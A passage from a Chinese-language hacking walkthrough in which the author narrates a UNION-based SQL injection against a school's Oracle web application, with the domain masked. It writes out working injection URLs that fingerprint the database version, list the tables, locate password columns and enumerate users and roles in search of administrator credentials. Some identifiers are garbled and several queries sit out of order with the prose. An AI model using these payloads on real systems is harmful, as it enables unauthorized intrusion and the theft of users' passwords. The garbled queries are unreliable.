都是联合查询,然而后者适用范围却更广,请大家切记。
http://www.xxx.com/messageviewlisting.do?method=query&criteria=1%3D1+and+ti
tle+like+%27%252010%25%27 union all select
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from dual
经过几次尝试,再提交:
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+and+ti
tle+like+%27%252010%25%27 union all select
NULL,'1',NULL,'2','3',NULL,NULL,NULL,NULL,NULL from dual
如图14所示,有3个字段的位置被我找到了。
接着提交:
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+and+ti
tle+like+%27%252010%25%27 union all select
NULL,banner,NULL,'2','3',NULL,NULL,NULL,NULL,NULL from v$version
得到了oracle的版本。
来看看所有的表名吧,提交:
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+and+ti
tle+like+%27%252010%25%27 union all select
NULL,table_name,NULL,'2','3',NULL,NULL,NULL,NULL,NULL from user_tables
如图16所示, 我顿时傻眼了,有1586个表,我怎么知道哪个是存放管理员密码的表呀?
不必担心,我还有办法,提交:
如图17所示,我将所有字段名存在“PASS”的表都查询出来了,因为凡是存放密码的
字段多数是“PASSWORD” 、 “USERPASS” 、 “PASS”等包含“PASS”的名字。注意,oracle数
据库的表名和字段名一般都是大写的。
但是经过我逐个检查,发现这些表里都没有管理员的数据,这下坏了,上千个表我可没
精力一个一个地去看。想不到成功地构造了注入语句却卡在了这里。
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+a
nd+title+like+%27%252010%25%27 union all select
NULL,table_name,NULL,column_name,'3',NULL,NULL,NULL,NULL,NULL from
user_tab_columns where column_name like '%25PASS%25'
过了很久,我突然想到,之前不是报出了那个SQL语句吗?它所查询的表包含了全校人
的信息,说不定就有管理员呢,于是提交:
如图18所示,果然就包括USERPW这个字段,看来全校人的密码都在这里,怪不得我搜
索“PASS”没找到呢。但是不必高兴的太早,看看管理员在不在里面吧。
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+an
d+title+like+%27%252010%25%27 union all select
NULL,table_name,NULL,column_name,'3',NULL,NULL,NULL,NULL,NULL from
usertabcolumns where tablename ='VWGYUSERRELRULE'
提交:
如图19所示,可以看到每个用户所在的用户组,比如“研院教师_培养” ,可以预料到,
ROLE_ID对应的那个很长的字符串就是“研院教师_培养”这个用户组的ID。
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+a
nd+title+like+%27%252010%25%27 union all select
NULL,USERNAME,NULL,ROLENAME,ROLE_ID,NULL,NULL,NULL,NULL,NULL from
VWGYUSERRELRULE
于是提交:
如图20所示,我将所有属于“研院教师_培养”这个用户组的ID都排除在外了,又出
来了“研院教师_学科” 。
http://www.xxx.com/messageviewlisting.do?method=query&criteria=2%3D1+
and+title+like+%27%252010%25%27 union all select
NULL,USERNAME,NULL,ROLENAME,ROLE_ID,NULL,NULL,NULL,NULL,NULL from
VW_GY_USER_REL_RULE where ROLE_ID<>'ff80808102e6b16e0102fd3761c200cf'
提交:
如图21所示,出现了“院系管理员” ,这是低级的管理员,下面将他们排除在外吧,现
在我觉得真正的后台管理员离我越来越近了。 |